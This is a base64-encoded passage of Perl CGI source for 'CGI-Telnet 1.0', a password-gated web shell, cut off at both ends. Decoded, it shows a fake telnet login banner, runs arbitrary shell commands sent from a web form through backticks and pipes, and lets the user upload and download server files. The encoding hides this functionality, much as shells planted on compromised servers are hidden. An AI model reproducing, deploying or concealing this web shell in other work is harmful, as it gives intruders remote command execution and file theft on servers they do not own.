aHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5EaXNjb25uZWN0PC9hPiB8CjxhIGhyZWY9Imh0dHA6Ly93d3cucm9oaXRhYi5jb20vY2dpc2NyaXB0cy9jZ2l0ZWxuZXQuaHRtbCI+SGVscDwvYT4KPC9mb250PjwvdGQ+CjwvdHI+CjwvdGFibGU+Cjxmb250IGNvbG9yPSIjQzBDMEMwIiBzaXplPSIzIj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCSRNZXNzYWdlID0gcSQ8cHJlPjxmb250IGNvbG9yPSIjNjY5OTk5Ij4gX19fX18gIF9fX19fICBfX19fXyAgICAgICAgICBfX19fXyAgICAgICAgXyAgICAgICAgICAgICAgIF8KLyAgX18gXHwgIF9fIFx8XyAgIF98ICAgICAgICB8XyAgIF98ICAgICAgfCB8ICAgICAgICAgICAgIHwgfAp8IC8gIFwvfCB8ICBcLyAgfCB8ICAgX19fX19fICAgfCB8ICAgIF9fXyB8IHwgXyBfXyAgICBfX18gfCB8Xwp8IHwgICAgfCB8IF9fICAgfCB8ICB8X19fX19ffCAgfCB8ICAgLyBfIFx8IHx8ICdfIFwgIC8gXyBcfCBfX3wKfCBcX18vXHwgfF9cIFwgX3wgfF8gICAgICAgICAgIHwgfCAgfCAgX18vfCB8fCB8IHwgfHwgIF9fL3wgfF8KIFxfX19fLyBcX19fXy8gXF9fXy8gICAgICAgICAgIFxfLyAgIFxfX198fF98fF98IHxffCBcX19ffCBcX198IDEuMAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAo8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiAgICAgICAgICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgPC9mb250Pjxmb250IGNvbG9yPSIjQUU4MzAwIj7CqSAyMDAxLCBSb2hpdGFiIEJhdHJhPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4KICAgICAgICAgICAgICAgICAgIC4tJnF1b3Q7ICAgICAgJnF1b3Q7LS4KICAgICAgICAgICAgICAgICAgLyAgICAgICAgICAgIFwKICAgICAgICAgICAgICAgICB8ICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICAgfCwgIC4tLiAgLi0uICAsfAogICAgICAgICAgICAgICAgIHwgKShfby8gIFxvXykoIHwKICAgICAgICAgICAgICAgICB8LyAgICAgL1wgICAgIFx8CiAgICAgICAoQF8gICAgICAgKF8gICAgIF5eICAgICBfKQogIF8gICAgICkgXDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X19fX19fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+XDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPnxJSUlJSUl8PC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj5fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+LzwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X19fX19fX19fX19fX19fX19fX19fX18KPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4gKF8pPC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj5AOEA4PC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj57fTwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+Jmx0O19fX19fX19fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj58LVxJSUlJSUkvLXw8L2ZvbnQ+PGZvbnQgY29sb3I9IiM4MDgwODAiPl9fX19fX19fX19fX19fX19fX19fX19fXyZndDs8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPgogICAgICAgIClfLyAgICAgICAgXCAgICAgICAgICAvIAogICAgICAgKEAgICAgICAgICAgIGAtLS0tLS0tLWAKICAgICAgICAgICAgIDwvZm9udD48Zm9udCBjb2xvcj0iI0FFODMwMCI+VyBBIFIgTiBJIE4gRzogUHJpdmF0ZSBTZXJ2ZXI8L2ZvbnQ+PC9wcmU+CiQ7CiMnCglwcmludCA8PEVORDsKPGNvZGU+ClRyeWluZyAkU2VydmVyTmFtZS4uLjxicj4KQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPGJyPgpFc2NhcGUgY2hhcmFjdGVyIGlzIF5dCjxjb2RlPiRNZXNzYWdlCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGNvZGU+Cjxicj5sb2dpbjogYWRtaW48YnI+CnBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5Gb3JtCnsKCXByaW50IDw8RU5EOwo8Y29kZT4KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CmxvZ2luOiBhZG1pbjxicj4KcGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlRm9vdGVyCnsKCXByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ291dAp7CglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkmUHJpbnRMb2dvdXRTY3JlZW47CgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0CiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QKIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIKIyB0byBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9naW4gCnsKCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkCgl7CgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoJCX0KCQkmUHJpbnRMb2dpbkZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CiRQcm9tcHQKPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iZG93bmxvYWQiPgokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjwvZm9ybT4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KJFByb21wdCB1cGxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPgpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIHZhbHVlPSJvdmVyd3JpdGUiPgpPdmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bwojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMKIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIENvbW1hbmRUaW1lb3V0CnsKCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7CgkJcHJpbnQgPDxFTkQ7CjwveG1wPgo8Y29kZT4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLgo8YnI+S2lsbGVkIGl0IQo8Y29kZT4KRU5ECgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlleGl0OwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUKIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMKIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRXhlY3V0ZUNvbW1hbmQKewoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZAoJewoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUKCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4KCQkKCQkkT2xkRGlyID0gJEN1cnJlbnREaXI7CgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOwoJCWNob3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOwoJCXByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPiI7Cgl9CgllbHNlICMgc29tZSBvdGhlciBjb21tYW5kLCBkaXNwbGF5IHRoZSBvdXRwdXQKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CgkJcHJpbnQgIjxjb2RlPiRQcm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+PHhtcD4iOwoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsKCQlpZighJFdpbk5UKQoJCXsKCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsKCQkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJCX0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkCgkJewoJCQkkfD0xOwoJCQkkQ29tbWFuZCAuPSAiIHwiOwoJCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQoJCQl7CgkJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJCXByaW50ICIkX1xuIjsKCQkJfQoJCQkkfD0wOwoJCX0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMKCQl7CgkJCXByaW50IGAkQ29tbWFuZGA7CgkJfQoJCWlmKCEkV2luTlQpCgkJewoJCQlhbGFybSgwKTsKCQl9CgkJcHJpbnQgIjwveG1wPiI7Cgl9CgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcgojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaAojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlCnsKCWxvY2FsKCRGaWxlVXJsKSA9IEBfOwoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzCgl7CgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3NlcgoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7CgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJcHJpbnQgPDxFTkQ7Cjxjb2RlPgpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lgo8L2NvZGU+CkVORAoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0Cgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXByaW50ICI8Y29kZT5GYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJfQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJcHJpbnQgIjxjb2RlPkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybT